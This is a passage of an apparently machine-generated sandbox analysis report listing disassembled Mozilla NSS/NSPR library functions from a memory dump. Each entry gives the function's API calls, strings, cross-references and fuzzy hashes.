Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 2e6be67570775d0fb430ebac7d8e0ff88d3fa47923025b59718cae10f7461aa1
Instruction ID: a36dbfc0263f63ac1d5cdaa662bb58ce05791d17f5d4f925343cbc59e577e189
Opcode Fuzzy Hash: 2e6be67570775d0fb430ebac7d8e0ff88d3fa47923025b59718cae10f7461aa1
Instruction Fuzzy Hash: 4431E779A04104BFFB20EF55ED48F6A3BB5EF86358F468024E90C97211DBB49945CBE2

Function 6D007E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6D007E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D007E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D007E63

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D007E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6D007E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6D007EB1

Strings

C_VerifyUpdate, xrefs: 6D007E21
hSession = 0x%x, xrefs: 6D007E3E, 6D007E4E
ulPartLen = %d, xrefs: 6D007EAC
pPart = 0x%p, xrefs: 6D007E93
(CK_INVALID_HANDLE), xrefs: 6D007E5C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 272b664279cd16e4a8a4a639044b4224507e59f5c7fe68471ee6bafeebed72b5
Instruction ID: 39ca35835ba44c2d79e64947d08ccbb6a176d929407e5cfbfde194ce00d10d5f
Opcode Fuzzy Hash: 272b664279cd16e4a8a4a639044b4224507e59f5c7fe68471ee6bafeebed72b5
Instruction Fuzzy Hash: CB31E778E01105BFF7209F55ED48B6B3BB5EB86358F064024EA0C97252DBB49D45CBE2

Function 6D006EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6D006F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D006F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D006F53

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D006F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6D006F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6D006FA1

Strings

hSession = 0x%x, xrefs: 6D006F2E, 6D006F3E
ulPartLen = %d, xrefs: 6D006F9C
pPart = 0x%p, xrefs: 6D006F83
C_DigestUpdate, xrefs: 6D006F11
(CK_INVALID_HANDLE), xrefs: 6D006F4C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 60acea1e5b0a6700cb4dc6c0d4f460a1f32fc5ebba442415b438ad8334fdf870
Instruction ID: 560d8ef08304bc243fd35ab60a960cb8b60c3172ef015fff142d6548c73d60a8
Opcode Fuzzy Hash: 60acea1e5b0a6700cb4dc6c0d4f460a1f32fc5ebba442415b438ad8334fdf870
Instruction Fuzzy Hash: 5531FD78604114BFFB20DF55ED44B6A3BB1EB46318F464024F90C57212DBB4D985CBD1

Function 6D0A2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6D0A2D9F

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

sqlite3_exec.NSS3(?,?,6D0A2F70,?,?), ref: 6D0A2DF9
sqlite3_free.NSS3(00000000), ref: 6D0A2E2C
sqlite3_free.NSS3(?), ref: 6D0A2E3A
sqlite3_free.NSS3(?), ref: 6D0A2E52
sqlite3_mprintf.NSS3(6D10AAF9,?), ref: 6D0A2E62
sqlite3_free.NSS3(?), ref: 6D0A2E70
sqlite3_free.NSS3(?), ref: 6D0A2E89
sqlite3_free.NSS3(?), ref: 6D0A2EBB
sqlite3_free.NSS3(?), ref: 6D0A2ECB
sqlite3_free.NSS3(00000000), ref: 6D0A2F3E
sqlite3_free.NSS3(?), ref: 6D0A2F4C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 36f52a76d5bd72ac36cbcc0d3e60f2136fefd1738769d83d89b00c0e1c43755e
Instruction ID: f2191e6af91395a4e00ac5b28d13ee1114ba79e095a7721216978be9cab4febc
Opcode Fuzzy Hash: 36f52a76d5bd72ac36cbcc0d3e60f2136fefd1738769d83d89b00c0e1c43755e
Instruction Fuzzy Hash: F4617FB5E002068BEB11CFA6D880BEEB7F1AF58348F495034DD15AB342E771E955CBA1

Function 6CFF2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFF3F23,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C93

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23), ref: 6CFF2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?), ref: 6CFF2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?), ref: 6CFF2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CFF2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CFF2D71
PR_Unlock.NSS3(?), ref: 6CFF2D7E

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: b8eda7af1362a0497429baa29601f40096c9281d4c0eda3d71286275ae873293
Instruction ID: df54d1e4d27035041e244016aeea80099fcdd537b7d5e7abafc51eaa9f6939f1
Opcode Fuzzy Hash: b8eda7af1362a0497429baa29601f40096c9281d4c0eda3d71286275ae873293
Instruction Fuzzy Hash: 4C512BB6D00105ABDB009F24EC45AAA7778FF1935CB148524ED2897721FB32ED65CBE1

Function 6CFE7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D132120,Function_00097E60,?,?,?,?,?,6D05F9CF,6D05FAD0,00000000), ref: 6CFE7C81

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

TlsGetValue.KERNEL32 ref: 6CFE7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CFE7CB4
PR_Unlock.NSS3 ref: 6CFE7CCF

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

TlsGetValue.KERNEL32 ref: 6CFE7D04
EnterCriticalSection.KERNEL32(?), ref: 6CFE7D1B
realloc.MOZGLUE(-00000050), ref: 6CFE7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE7DF4
PR_Unlock.NSS3 ref: 6CFE7E0E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 86b6b09f399a16980f188b7fedce825d24f0fbfd054153a61c378551282db5cd
Instruction ID: 74e2ea8c13e9acced7606df24ffde698bc5d9b299fd292a5afbcf97269114065
Opcode Fuzzy Hash: 86b6b09f399a16980f188b7fedce825d24f0fbfd054153a61c378551282db5cd
Instruction Fuzzy Hash: E251D5B5904100BBDF316F28ED40B6677B6EB4A318F16412BDE0497623EBB1D861CBD1

Function 6CF54C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D97
PR_Lock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54DBA
PR_WaitCondVar.NSS3 ref: 6CF54DD4
PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54DEF

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 35eb78318c0ef4f6db11a25fefb7e12f430f64f6d784814f04d833e2cebca5d5
Instruction ID: 2bc6d2eb12e70e486a2e0b99a2ec12d263ecfa867b976db6b4c1411679bc890e
Opcode Fuzzy Hash: 35eb78318c0ef4f6db11a25fefb7e12f430f64f6d784814f04d833e2cebca5d5
Instruction Fuzzy Hash: 3C419DB6908655CFCB10AFB8E48825ABBF4BF46314F464669D9889B710E770D8F0CB91

Function 6D0E7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0E7CE0

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7D36
PR_Realloc.NSS3(?,00000080), ref: 6D0E7D6D
PR_GetCurrentThread.NSS3 ref: 6D0E7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6D0E7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7DD8
malloc.MOZGLUE(00000080), ref: 6D0E7DF8
PR_GetCurrentThread.NSS3 ref: 6D0E7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6D0E7DF0
:%s:%d:0x%lx, xrefs: 6D0E7DB9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: feceb1ed1bf37fe411363401314a0b13d35ee49a4420e386cdab4caf65e1fc23
Instruction ID: 6c464e0d96c272c162fade52e64c2b7e798b37aaa0ea3540623fad00f09b0392
Opcode Fuzzy Hash: feceb1ed1bf37fe411363401314a0b13d35ee49a4420e386cdab4caf65e1fc23
Instruction Fuzzy Hash: 8A4182B1E042069FEB08CF28DC80A7A37BAFFC4354B15856DE9198B252D731E845C791

Function 6D0E7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6D0E7E46

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6D0E7EAF
PR_ImportFile.NSS3(?), ref: 6D0E7ECF
PR_GetCurrentThread.NSS3 ref: 6D0E7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6D0E7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6D0E7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6D0E7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6D0E7E41
%d:0x%lx, xrefs: 6D0E7EA9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: b857beaf70621ea60e920720364afd926f90d7cce4e81114f25537167a8c5c70
Instruction ID: d13c9df51c111184eb97d2b12845ef4a9ec515c67d0a295a0b2e443ae4649cb6
Opcode Fuzzy Hash: b857beaf70621ea60e920720364afd926f90d7cce4e81114f25537167a8c5c70
Instruction Fuzzy Hash: E1312C70E0811A9FFB019B698840BBFB7E9BF8A384F508465DA01A7313E7A19D04C7D2

Function 6D01ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6D01DE64), ref: 6D01ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D01ED22

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PL_FreeArenaPool.NSS3(?), ref: 6D01ED4A
PL_FinishArenaPool.NSS3(?), ref: 6D01ED6B
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D01ED38

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

SECOID_FindOID_Util.NSS3(?), ref: 6D01ED52
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D01ED83
PL_FreeArenaPool.NSS3(?), ref: 6D01ED95
PL_FinishArenaPool.NSS3(?), ref: 6D01ED9D

Part of subcall function 6D0364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6D03127C,00000000,00000000,00000000), ref: 6D03650E

Strings

security, xrefs: 6D01ED06

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 39634ec46c78e6303fc08bcaac6a31ed2cd4c133abc6e019c534553da8279851
Instruction ID: 82d6e0afa1bd9a8972aecce162e794bf0a6db7e9f3eeac171dee4ef3315ca160
Opcode Fuzzy Hash: 39634ec46c78e6303fc08bcaac6a31ed2cd4c133abc6e019c534553da8279851
Instruction Fuzzy Hash: 30115735D0C22667F72067A1AC44B7F72B8AF4160CF830435E954A7982FB64A61886D7

Function 6D002CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6D002CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6D002D07

Part of subcall function 6D0E09D0: PR_Now.NSS3 ref: 6D0E0A22
Part of subcall function 6D0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0E0A35
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0E0A66
Part of subcall function 6D0E09D0: PR_GetCurrentThread.NSS3 ref: 6D0E0A70
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0E0A9D
Part of subcall function 6D0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0E0AC8
Part of subcall function 6D0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0E0AE8
Part of subcall function 6D0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0E0B19
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0E0B48
Part of subcall function 6D0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0E0C76
Part of subcall function 6D0E09D0: PR_LogFlush.NSS3 ref: 6D0E0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6D002D22

Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0E0B88
Part of subcall function 6D0E09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0E0C5D
Part of subcall function 6D0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6D0E0C8D
Part of subcall function 6D0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0E0C9C
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0E0CD1
Part of subcall function 6D0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6D0E0CEC
Part of subcall function 6D0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0E0CFB
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0E0D16
Part of subcall function 6D0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6D0E0D26
Part of subcall function 6D0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0E0D35
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6D0E0D65
Part of subcall function 6D0E09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6D0E0D70
Part of subcall function 6D0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0E0D90
Part of subcall function 6D0E09D0: free.MOZGLUE(00000000), ref: 6D0E0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6D002D3B

Part of subcall function 6D0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6D0E0BAB
Part of subcall function 6D0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0E0BBA
